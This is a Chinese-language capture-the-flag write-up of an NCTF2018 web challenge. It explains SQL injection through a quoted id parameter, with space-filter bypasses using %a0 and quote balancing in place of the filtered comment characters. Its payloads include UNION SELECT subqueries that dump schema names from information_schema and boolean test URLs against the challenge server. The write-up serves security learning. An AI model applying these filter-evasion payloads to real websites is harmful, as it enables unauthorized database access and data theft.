題目是NCTF2018的web題目
①#
?id=1'會直接出來報錯提示。
猜測使用單引號保護id。
另外一打空格就提示you hacker,空格在尾部是不會提示的,猜測用了去除尾部的空格的函數trim()。
空格的過濾繞過 %20 %09 %0a %0b %0c %0d %a0 %00 /**/ () 挨個試就行,最好不要用(),因為拼接什么的挺麻煩的
發現%a0 %0b () 沒有被過濾,就用%a0吧
另外還發現了過濾了截斷符號%23,#,--+
過濾了截斷符號后,我們怎么來繞過最后的那個單引號呢?
常見的sql查詢語句: $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 我指的單引號就是$id'的這個單引號,一般我們會用#注釋掉,現在沒法注釋掉后,應該怎么辦呢?
我們來看個sql:
參數?id=1'',sql語句仍然能執行成功,題目中也是如此。
當有一個'時,這一個'會落單報錯,但是當有一個和他一起閉合時就不報錯了 只要'能匹配,多少個'都沒有事。 select '' 這樣雖然查詢為空,但是是不報錯的。
我們輸入 ?id=1'' ,會發現不報錯了已經,但是我們嘗試?id=1' or 1=1' 發現出錯了。是因為只能直接用在select中,注意是直接。 ?id=1'' 查詢語句變為select * from user where id='1''' LIMIT0,1 可以 ?id=1' and 1=1' 查詢:SELECT * FROM users WHERE id='1' or 1=1'' LIMIT 0,1 不可以 id=-1' union select 1,2,3' 可以 所以說是直接在select中
我們本來要靠order by來猜多少個字段,現在不行了直接根據這個來猜:id=-1' union select 1,2,3'
id=1'%a0union%a0select%a01,2,3',其實這里也不用猜,很明顯了,輸出了三個字段。
查詢所有數據庫
select * from user where id='-1' union select group_concat(schema_name),2 from information_schema.schemata'發現又遇到了上邊的情況了
'匹配只能直接在select中,
這里的解決方法使用到的子查詢
select * from user where id='-1' union select (select group_concat(schema_name) from information_schema.schemata),2,這樣'不就直接在select語句里了。
總結一下,select ''就是查詢一個空值,和select1,2,3本質是一樣的,所以不會出錯,當''沒有被select,就相當於一對孤零零的引號,所以會出錯。
②#
今天又學到一個新的思路,就是不用select子查詢,用and'閉合。
?id=1%27%a0union%a0select%a0(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),2,3%a0and%271 實際句子就是select1,2,3 from infor....# 變為 select1,2,3 from infor.... and'1' 這樣也可以把最后的單引號閉合
這樣一來那些order by,and 1=1,and 1=2就可以正常使用判斷注入點了
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=2%a0and%a0%271
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=1%a0and%a0%271
這個語句就可以判斷注入點。